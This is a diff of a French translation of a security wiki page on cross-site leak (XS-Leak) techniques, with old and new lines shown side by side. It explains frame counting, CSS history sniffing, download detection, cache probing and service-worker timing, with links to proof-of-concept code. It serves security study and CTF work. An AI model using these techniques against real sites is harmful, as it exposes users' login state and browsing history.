@ -586,7 +586,7 @@ Un attaquant est capable de déduire la présence de l'en-tête Politique d'Ouvr
- **Résumé :** Détecter les différences dans les réponses en raison de la longueur de la réponse de redirection qui pourrait être trop grande pour que le serveur réponde avec une erreur et qu'une alerte soit générée.
- **Exemple de code** : [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Si une redirection côté serveur utilise **des entrées utilisateur à l'intérieur de la redirection** et **des données supplémentaires**. Il est possible de détecter ce comportement car généralement **les serveurs** ont une **limite de longueur de requête**. Si les **données utilisateur** sont de cette **longueur - 1**, parce que la **redirection** utilise **ces données** et **ajoute** quelque chose **de supplémentaire**, cela déclenchera une **erreur détectable via les Événements d'Erreur**.
Si une redirection côté serveur utilise **des entrées utilisateur à l'intérieur de la redirection** et **des données supplémentaires**. Il est possible de détecter ce comportement car généralement **les serveurs** ont une **limite de longueur de requête**. Si les **données utilisateur** sont de cette **longueur - 1**, parce que la **redirection** utilise **ces données** et **ajoute** quelque chose **d'extra**, cela déclenchera une **erreur détectable via les Événements d'Erreur**.
Si vous pouvez d'une manière ou d'une autre définir des cookies pour un utilisateur, vous pouvez également effectuer cette attaque en **définissant suffisamment de cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) donc avec la **taille de réponse augmentée** de la **réponse correcte**, une **erreur** est déclenchée. Dans ce cas, rappelez-vous que si vous déclenchez cette requête depuis un même site, `<script>` enverra automatiquement les cookies (vous pouvez donc vérifier les erreurs).\
Un exemple de **cookie bomb + XS-Search** peut être trouvé dans la solution prévue de cette rédaction : [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
@ -605,7 +605,7 @@ Selon [la documentation de Chromium](https://chromium.googlesource.com/chromium/
> En général, la _plateforme Web_ n'a pas de limites sur la longueur des URL (bien que 2^31 soit une limite courante). _Chrome_ limite les URL à une longueur maximale de **2 Mo** pour des raisons pratiques et pour éviter de causer des problèmes de déni de service dans la communication inter-processus.
Par conséquent, si l'**URL de redirection répond est plus grande dans l'un des cas**, il est possible de la rediriger avec une **URL plus grande que 2 Mo** pour atteindre la **limite de longueur**. Lorsque cela se produit, Chrome affiche une page **`about:blank#blocked`**.
Par conséquent, si l'**URL de redirection répond est plus grande dans l'un des cas**, il est possible de la faire rediriger avec une **URL plus grande que 2 Mo** pour atteindre la **limite de longueur**. Lorsque cela se produit, Chrome affiche une page **`about:blank#blocked`**.
La **différence notable**, est que si la **redirection** a été **complétée**, `window.origin` génère une **erreur** car une origine croisée ne peut pas accéder à cette info. Cependant, si la **limite** a été \*\*\*\* atteinte et que la page chargée était **`about:blank#blocked`**, l'**origine** de la fenêtre reste celle du **parent**, ce qui est une **information accessible.**
@ -634,7 +634,7 @@ Si le **nombre max** de **redirections** à suivre d'un navigateur est **20**, u
- **Exemple de code** : [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
L'**API History** permet au code JavaScript de manipuler l'historique du navigateur, qui **enregistre les pages visitées par un utilisateur**. Un attaquant peut utiliser la propriété length comme méthode d'inclusion : pour détecter la navigation JavaScript et HTML.\
**Vérifiant `history.length`**, en faisant naviguer un utilisateur vers une page, **en revenant** à la même origine et **en vérifiant** la nouvelle valeur de **`history.length`**.
**Vérifiant `history.length`**, faisant naviguer un utilisateur vers une page, **la changeant** **de nouveau** vers la même origine et **vérifiant** la nouvelle valeur de **`history.length`**.
### Longueur de l'Historique avec la même URL
@ -661,54 +661,54 @@ win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
```
### Frame Counting
### Comptage de Cadres
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** Évaluer la quantité d'éléments iframe en inspectant la propriété `window.length`.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
- **Méthodes d'Inclusion** : Cadres, Pop-ups
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Résumé :** Évaluer la quantité d'éléments iframe en inspectant la propriété `window.length`.
- **Exemple de Code** : [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Compter le **nombre de frames dans un web** ouvert via `iframe` ou `window.open` peut aider à identifier le **statut de l'utilisateur sur cette page**.\
De plus, si la page a toujours le même nombre de frames, vérifier **en continu** le nombre de frames peut aider à identifier un **modèle** qui pourrait divulguer des informations.
Compter le **nombre de cadres dans un web** ouvert via `iframe` ou `window.open` peut aider à identifier le **statut de l'utilisateur sur cette page**.\
De plus, si la page a toujours le même nombre de cadres, vérifier **en continu** le nombre de cadres peut aider à identifier un **modèle** qui pourrait divulguer des informations.
Un exemple de cette technique est que dans Chrome, un **PDF** peut être **détecté** avec **le comptage de frames** car un `embed` est utilisé en interne. Il existe des [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) qui permettent un certain contrôle sur le contenu tel que `zoom`, `view`, `page`, `toolbar` où cette technique pourrait être intéressante.
Un exemple de cette technique est que dans Chrome, un **PDF** peut être **détecté** avec **le comptage de cadres** car un `embed` est utilisé en interne. Il existe des [Paramètres d'URL Ouverts](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) qui permettent un certain contrôle sur le contenu tel que `zoom`, `view`, `page`, `toolbar` où cette technique pourrait être intéressante.
### HTMLElements
### Éléments HTML
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** Lire la valeur divulguée pour distinguer entre 2 états possibles
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Résumé :** Lire la valeur divulguée pour distinguer entre 2 états possibles
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
La fuite d'informations à travers les éléments HTML est une préoccupation en matière de sécurité web, en particulier lorsque des fichiers multimédias dynamiques sont générés en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutés, modifiant la taille du média. Cela peut être exploité par des attaquants pour différencier entre des états possibles en analysant les informations exposées par certains éléments HTML.
### Information Exposed by HTML Elements
### Informations Exposées par les Éléments HTML
- **HTMLMediaElement**: Cet élément révèle la `duration` et les temps `buffered` du média, qui peuvent être accessibles via son API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Il expose `videoHeight` et `videoWidth`. Dans certains navigateurs, des propriétés supplémentaires comme `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, et `webkitDecodedFrameCount` sont disponibles, offrant plus d'informations sur le contenu multimédia. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris `totalVideoFrames`, qui peut indiquer la quantité de données vidéo traitées. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Cet élément divulgue la `height` et la `width` d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction `image.decode()` sera rejetée, indiquant l'échec de chargement de l'image correctement. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement** : Cet élément révèle la `duration` et les temps `buffered` du média, qui peuvent être accessibles via son API. [En savoir plus sur HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement** : Il expose `videoHeight` et `videoWidth`. Dans certains navigateurs, des propriétés supplémentaires comme `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, et `webkitDecodedFrameCount` sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. [En savoir plus sur HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()** : Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris `totalVideoFrames`, qui peut indiquer la quantité de données vidéo traitées. [En savoir plus sur getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement** : Cet élément divulgue la `height` et la `width` d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction `image.decode()` sera rejetée, indiquant l'échec de chargement correct de l'image. [En savoir plus sur HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
### Propriété CSS
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** Identifier les variations dans le style du site web qui correspondent à l'état ou au statut de l'utilisateur.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Résumé :** Identifier les variations dans le style du site web qui correspondent à l'état ou au statut de l'utilisateur.
- **Exemple de Code** : [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Les applications web peuvent changer le **style du site web en fonction du statut de l'utilisateur**. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'**élément HTML link**, et les **règles** seront **appliquées** à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut **détecter** ces **différences** en fonction de l'état de l'utilisateur.\
Les applications web peuvent changer le **style du site web en fonction du statut de l'utilisateur**. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'**élément de lien HTML**, et les **règles** seront **appliquées** à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut **détecter** ces **différences** en fonction de l'état de l'utilisateur.\
En tant que technique de fuite, l'attaquant peut utiliser la méthode `window.getComputedStyle` pour **lire les propriétés CSS** d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.
### CSS History
### Historique CSS
- **Inclusion Methods**: Éléments HTML
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** Détecter si le style `:visited` est appliqué à une URL indiquant qu'elle a déjà été visitée
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Résumé :** Détecter si le style `:visited` est appliqué à une URL indiquant qu'elle a déjà été visitée
- **Exemple de Code** : [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Selon [**ceci**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), cela ne fonctionne pas dans Chrome sans tête.
@ -717,135 +717,135 @@ Le sélecteur CSS `:visited` est utilisé pour styliser les URL différemment si
Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de manière indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété `mix-blend-mode`. Cette propriété permet le mélange d'éléments avec leur arrière-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.
De plus, la détection peut être réalisée sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donné que les navigateurs peuvent rendre les liens visités et non visités différemment, cela peut introduire une différence de temps mesurable dans le rendu. Un proof of concept (PoC) a été mentionné dans un rapport de bogue Chromium, démontrant cette technique en utilisant plusieurs liens pour amplifier la différence de timing, rendant ainsi l'état visité détectable par l'analyse du timing.
De plus, la détection peut être réalisée sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donné que les navigateurs peuvent rendre les liens visités et non visités différemment, cela peut introduire une différence de temps mesurable dans le rendu. Un proof of concept (PoC) a été mentionné dans un rapport de bogue Chromium, démontrant cette technique en utilisant plusieurs liens pour amplifier la différence de timing, rendant ainsi l'état visité détectable par analyse de timing.
Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
- `:visited` : [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()` : [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode` : [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
### Fuite X-Frame de ContentDocument
- **Inclusion Methods**: Frames
- **Detectable Difference**: En-têtes
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** Dans Google Chrome, une page d'erreur dédiée est affichée lorsqu'une page est bloquée d'être intégrée sur un site cross-origin en raison des restrictions X-Frame-Options.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
- **Méthodes d'Inclusion** : Cadres
- **Différence Détectable** : En-têtes
- **Plus d'infos** : [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Résumé :** Dans Google Chrome, une page d'erreur dédiée est affichée lorsqu'une page est bloquée d'être intégrée sur un site cross-origin en raison des restrictions X-Frame-Options.
- **Exemple de Code** : [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Dans Chrome, si une page avec l'en-tête `X-Frame-Options` défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaît. Chrome retourne de manière unique un objet document vide (au lieu de `null`) pour la propriété `contentDocument` de cet objet, contrairement aux iframes ou à d'autres navigateurs. Les attaquants pourraient exploiter cela en détectant le document vide, révélant potentiellement des informations sur l'état de l'utilisateur, surtout si les développeurs définissent de manière incohérente l'en-tête X-Frame-Options, négligeant souvent les pages d'erreur. La sensibilisation et l'application cohérente des en-têtes de sécurité sont cruciales pour prévenir de telles fuites.
### Download Detection
### Détection de Téléchargement
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: En-têtes
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
- **Méthodes d'Inclusion** : Cadres, Pop-ups
- **Différence Détectable** : En-têtes
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Résumé :** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
L'en-tête `Content-Disposition`, spécifiquement `Content-Disposition: attachment`, indique au navigateur de télécharger le contenu plutôt que de l'afficher en ligne. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe quelques techniques pour détecter ce comportement de téléchargement :
1. **Surveillance de la barre de téléchargement** :
1. **Surveillance de la Barre de Téléchargement** :
- Lorsqu'un fichier est téléchargé dans les navigateurs basés sur Chromium, une barre de téléchargement apparaît en bas de la fenêtre du navigateur.
- En surveillant les changements de la hauteur de la fenêtre, les attaquants peuvent déduire l'apparition de la barre de téléchargement, suggérant qu'un téléchargement a été initié.
2. **Navigation de téléchargement avec des iframes** :
2. **Navigation de Téléchargement avec des Iframes** :
- Lorsqu'une page déclenche un téléchargement de fichier en utilisant l'en-tête `Content-Disposition: attachment`, cela ne provoque pas un événement de navigation.
- En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.
3. **Navigation de téléchargement sans iframes** :
3. **Navigation de Téléchargement sans Iframes** :
- Semblable à la technique iframe, cette méthode implique d'utiliser `window.open` au lieu d'une iframe.
- Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement de fichier a été déclenché (pas de navigation) ou si le contenu est affiché en ligne (navigation se produit).
Dans les scénarios où seuls les utilisateurs connectés peuvent déclencher de tels téléchargements, ces techniques peuvent être utilisées pour déduire indirectement l'état d'authentification de l'utilisateur en fonction de la réponse du navigateur à la demande de téléchargement.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Contournement de Cache HTTP Partitionné <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Timing
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Résumé :** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> C'est pourquoi cette technique est intéressante : Chrome a maintenant **le partitionnement du cache**, et la clé de cache de la page nouvellement ouverte est : `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clé de cache est différente**, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> C'est pourquoi cette technique est intéressante : Chrome a maintenant **le partitionnement de cache**, et la clé de cache de la nouvelle page ouverte est : `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clé de cache est différente**, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : [Gagner en sécurité et en confidentialité en partitionnant le cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Commentaire de [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de cache** que si la ressource était directement **demandée par navigation de niveau supérieur**. Cela est dû au fait que la clé de cache est constituée de _eTLD+1_ de niveau supérieur et de _eTLD+1_ de frame.
Si un site `example.com` inclut une ressource de `*.example.com/resource`, alors cette ressource aura la **même clé de cache** que si la ressource était directement **demandée par navigation de niveau supérieur**. Cela est dû au fait que la clé de cache est constituée de _eTLD+1_ de niveau supérieur et de _eTLD+1_ de cadre.
Parce qu'accéder au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été changée après l'arrêt, cela signifie que la ressource a été mise en cache.\
Ou pourrait simplement **envoyer un fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Redirection Manuelle <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirections
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Summary:** Il est possible de découvrir si une réponse à une requête fetch est une redirection
- **Code Example**:
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Redirections
- **Plus d'infos** : [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Résumé :** Il est possible de découvrir si une réponse à une requête fetch est une redirection
- **Exemple de Code** :
![](<../images/image (652).png>)
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Fetch avec AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Il est possible d'essayer de charger une ressource et d'annuler avant qu'elle ne soit chargée. En fonction de si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Méthodes d'Inclusion** : Fetch API
- **Différence Détectable** : Timing
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Résumé :** Il est possible d'essayer de charger une ressource et d'annuler avant qu'elle ne soit chargée. Selon si une erreur est déclenchée, la ressource a été ou n'a pas été mise en cache.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Utilisez _**fetch**_ et _**setTimeout**_ avec un **AbortController** pour détecter si la **ressource est mise en cache** et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.
### Script Pollution
### Pollution de Script
- **Inclusion Methods**: Éléments HTML (script)
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Il est possible de **surcharger des fonctions intégrées** et de lire leurs arguments même depuis **un script cross-origin** (qui ne peut pas être lu directement), cela pourrait **divulguer des informations précieuses**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Méthodes d'Inclusion** : Éléments HTML (script)
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Résumé :** Il est possible de **surcharger des fonctions intégrées** et de lire leurs arguments même depuis **un script cross-origin** (qui ne peut pas être lu directement), cela pourrait **divulguer des informations précieuses**.
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
### Travailleurs de Service <a href="#service-workers" id="service-workers"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Contenu de la page
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Mesurer le temps d'exécution d'un web en utilisant des service workers.
- **Code Example**:
- **Méthodes d'Inclusion** : Pop-ups
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Résumé :** Mesurer le temps d'exécution d'un web utilisant des travailleurs de service.
- **Exemple de Code** :
Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un **service worker** dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au **service worker** de commencer un chronomètre. Alors que la nouvelle fenêtre commence à se charger, l'attaquant navigue la référence obtenue dans l'étape précédente vers une page gérée par le **service worker**.
Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un **travailleur de service** dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au **travailleur de service** de commencer un chronomètre. Alors que la nouvelle fenêtre commence à se charger, l'attaquant navigue la référence obtenue dans l'étape précédente vers une page gérée par le **travailleur de service**.
À l'arrivée de la requête initiée dans l'étape précédente, le **service worker** répond avec un code d'état **204 (No Content)**, terminant effectivement le processus de navigation. À ce stade, le **service worker** capture une mesure du chronomètre initié plus tôt dans l'étape deux. Cette mesure est influencée par la durée du JavaScript causant des retards dans le processus de navigation.
À l'arrivée de la requête initiée dans l'étape précédente, le **travailleur de service** répond avec un code d'état **204 (Pas de Contenu)**, terminant effectivement le processus de navigation. À ce stade, le **travailleur de service** capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée de JavaScript causant des retards dans le processus de navigation.
> [!WARNING]
> Dans un timing d'exécution, il est possible d'**éliminer** les **facteurs réseau** pour obtenir des **mesures plus précises**. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.
### Fetch Timing
### Timing de Fetch
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (généralement dû au Contenu de la Page, Code d'État)
